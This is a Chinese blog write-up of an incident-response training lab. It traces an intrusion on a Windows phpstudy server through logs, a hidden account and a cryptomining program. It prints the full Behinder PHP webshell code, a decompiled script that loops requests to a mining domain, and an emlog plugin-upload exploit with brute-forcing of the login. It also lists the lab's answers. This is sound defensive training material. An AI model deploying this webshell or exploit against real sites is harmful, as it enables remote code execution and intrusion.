这段时间一直在学习
内网横向以及代理的知识,相信大家也都看腻了,今天给大家换个口味;
重新拿应急响应的靶机练练手,找回当安服仔的感觉;
文章目录
- 挑战内容-Web1
- 前景需要:
- 应急思路
- 计划任务排查(无异常)
- 开机启动项排查(无异常)
- 隐藏用户排查(异常)
- 日志排查
- 找到隐藏文件
- 攻击者挖矿程序的矿池域名(仅域名)
- 有实力的可以尝试着修复漏洞
- 解题成功
- 总结
挑战内容-Web1
前景需要:
小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容,并作为通关条件:
- 攻击者的shell密码
- 攻击者的IP地址
- 攻击者的隐藏账户名称
- 攻击者挖矿程序的矿池域名(仅域名)
- 有实力的可以尝试着修复漏洞
靶机环境:
- Windows Server 2022
- phpstudy(小皮面板)
账号密码:
- 用户:administrator
- 密码:
Zgsf@admin.com
因为本次靶机难度较小,主要是用来找找手感,所以大部分步骤涉及Windows应急响应;
大家可以看看这篇文章了解一下基本的思路:Windows日志分析
本次主要是介绍我的应急思路,就不按着题目去找flag了;发现什么是什么
(好处就是比较贴近真实生产环境,不会僵化思维)
应急思路
首先,我们登陆靶机,发现是一台Server 2012的服务器:
根据题目“发现有CPU占用飙升”,我就猜测系统的计划任务或者开启启动项可能存在脚本,于是进行查找:
计划任务排查(无异常)
单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现文件的路径:
打开后点击:Microsoft —> Windows即可进行查看:
这里我们发现了一个计划任务$(@%systemroot%\system32\SrvInitConfig.exe,-101),看样子有点异常;
- (一般 %systemroot% 就是 C:\Windows 路径)
因为处于禁用状态,我又去他的文件路径C:\system32\进行查看,没发现什么异常;
开机启动项排查(无异常)
(1)登录服务器,单击开始菜单 >【运行】,输入msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件:
(2)组策略检查:打开cmd命令行运行gpedit.msc
均未发现异常;
隐藏用户排查(异常)
既然上述都没有发现异常,我们就从隐藏用户下手;因为正常的攻击者入侵系统后肯定会建立后门或者用户,方便下次登陆:
# 列出所有本地用户(基础排查)net user ——隐藏用户排查不出来# 获取用户详细信息(含状态、描述、SID)wmic useraccount get Name,Status,Description,Disabled,SID
通过这两条命令,我们可以得到后门用户生成的时间;
而这也为我们确定了攻击者攻击的大概时间:2024/2/26 23:01:13
输入命令,可以得到攻击者创建的隐藏用户:hack168$
所以我们可以得到的隐藏账户名称;
日志排查
在Windows中,在进行溯源的时候,我们通常是查看“安全”“系统”“应用程序”这三个日志(2025下半年软考考了喔,别问我怎么知道的):
Win+R 打开运行,输入 “eventvwr.msc”,回车运行,打开"事件查看器":
(这里我们通常可以按照特定事件ID来进行排查):
4624:表示帐户已成功登录。这个事件ID可以用来筛选系统中所有成功登录的记录
4625:表示帐户登录失败。这个事件ID可以帮助我们判断是否存在RDP爆破攻击等情况
4634:表示帐户被注销。这个事件ID记录了用户注销的情况 4647:表示用户发起注销。
4648:表示试图使用明确的凭证登录。这个事件ID可以查看远程登录的相关信息,比如IP地址等
4672:表示超级管理员登录
4720:表示新用户的创建
所以我们可以输入相应的ID来进行查询,在经过排查后,基本可以确定攻击者的攻击时间为从2024/2/26 22:16分开始:
并且在创建隐藏用户后,尝试了登陆:
–
既然通过日志知道了攻击者的大概时间,那么接下来我们就可以去Web系统的日志来进一步的调查了;
- 正常的攻击思路:Web服务器 —>利用漏洞获取主机www用户 —> 获取主机SYSTEM权限
- 蓝队溯源思路:日志了解攻击时间 —>Web服务器日志查看利用了什么方法进入 —>找到攻击路径
所以我们来到文件,发现phpstudy搭建的是Apache的服务,那我们直接查看他的access.log和error.log即可:
- 具体步骤可以参照:Apache和Linux日志分析
主要查看这两个文件,经过一段时间的排查,我们可以发现在/content/plugins/tips/路径出现大量的shell.php:
而往上翻,可以发现大量的account.php的使用(合理猜测是登陆的页面,被攻击者进行爆破攻击)
而看IP地址,可以得知攻击者IP为192.168.126.1
攻击路径还原:攻击者爆破攻击成功进入Web系统 ——>通过Web服务的
/content/plugins/tips/上传shell.php ——> 获取了主机的权限 ——> 通过命令提权并建立隐藏用户 ——> 生成挖矿程序消耗目标机器 ——>造成CPU资源耗尽
找到隐藏文件
随后我们根据日志的路径,来到服务器的相应路径上,发现了shell.php文件:
打开后发现为冰蝎的shell,一打开就报毒:
得到文件内容:
<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";//该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){$post[$i]=$post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post,"AES128",$key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{publicfunction__invoke($p){eval($p."");}}@call_user_func(new C(),$params);?>随后对e45e329feb5d925b进行解密,密码为rebeyond
攻击者挖矿程序的矿池域名(仅域名)
我们之前不是找到了隐藏用户吗,我们到他的用户目录下查看有哪些可疑文件:
发现了一个挖矿文件,一点击执行,电脑直接崩了。。。
随后我我们使用工具pyinstxtractor对exe文件进行进行解包:
解压为pyc文件,随后反编译成py文件:
再使用工具uncompyle6将pyc文件反编译成py文件:
pipinstalluncompyle6 uncompyle6 Kuang.pyc下载模块:
成功得到python文件:
# uncompyle6 version 3.9.3# Python bytecode version base 3.8.0 (3413)# Decompiled from: Python 3.11.3 (tags/v3.11.3:f3909b8, Apr 4 2023, 23:49:59) [MSC v.1934 64 bit (AMD64)]# Embedded file name: Kuang.pyimportmultiprocessing, requests def cpu_intensive_task():whileTrue: try: requests.get("http://wakuang.zhigongshanfang.top",timeout=10)except: passif__name__=="__main__":cpu_count=multiprocessing.cpu_count()processes=[multiprocessing.Process(target=cpu_intensive_task)for_inrange(cpu_count)]forprocessinprocesses: process.start()else:forprocessinprocesses: process.join()# okay decompiling Kuang.pyc矿池域名:wakuang.zhigongshanfang.top
有实力的可以尝试着修复漏洞
我们打开phpstudy的Apache和MySQL服务,然后到网站看看它搭建了一个什么服务:
输入网址:http://192.168.44.167/
发现了几个功能点,在我们熟悉系统的同时,用dirsearch扫描一下这个系统的目录:
python dirsearch.py -u http://192.168.44.167/发现了不少东西,其中就有我们很熟悉的登陆接口:./account.php?action=signin
查看它使用的框架:
再去查找相应的漏洞:
emlog v2.5.3版本存在文件上传漏洞,该漏洞源于admin/plugin.php插件组件对上传的文件缺少有效的验证。攻击者可利用该漏洞上传恶意文件从而远程执行任意代码。
- 准备一个名为shell的文件夹,里面包含shell.php,文件内容<?php phpinfo();
- 访问目录:
/content/plugins/shell/shell.php,成功回显phpinfo
还记得我们之前检查日志时,发现的爆破行为吗;所以我们可以猜测这个系统存在弱口令漏洞:
用bp进行爆破后,成功进入后台系统:
而针对这个系统的漏洞:
- 使用强口令
- 及时更新系统版本
- 对每个登陆的用户进行身份认证,赋予唯一的Session ID
解题成功
用cmd打开桌面上的解题.exe,分别输入命令:
成功解题:
C:\Users\Administrator\Desktop>解题.exe 公众号:知攻善防实验室 欢迎使用知攻善防实验室-应急响应训练靶机解题系统 在此之前,您应该获取到以下信息1.攻击者的shell密码2.攻击者的IP地址3.攻击者的隐藏账户名称4.攻击者挖矿程序的矿池域名 你准备好了吗?(y or n)y 请输入攻击者的shell密码:rebeyond 题解正确! 请输入攻击者的IP地址192.168.126.1 题解正确! 请输入攻击者的隐藏账户名称:hack168$ 题解正确! 请输入攻击者挖矿程序的矿池域名:wakuang.zhigongshanfang.top 题解正确! 恭喜您,该靶机已被您攻破! 恭喜您,该靶机已被您攻破! 恭喜您,该靶机已被您攻破! 恭喜您,该靶机已被您攻破!总结
本次靶机难度不高,主要适合刚入门尝试练习的师傅;
期待下次再见;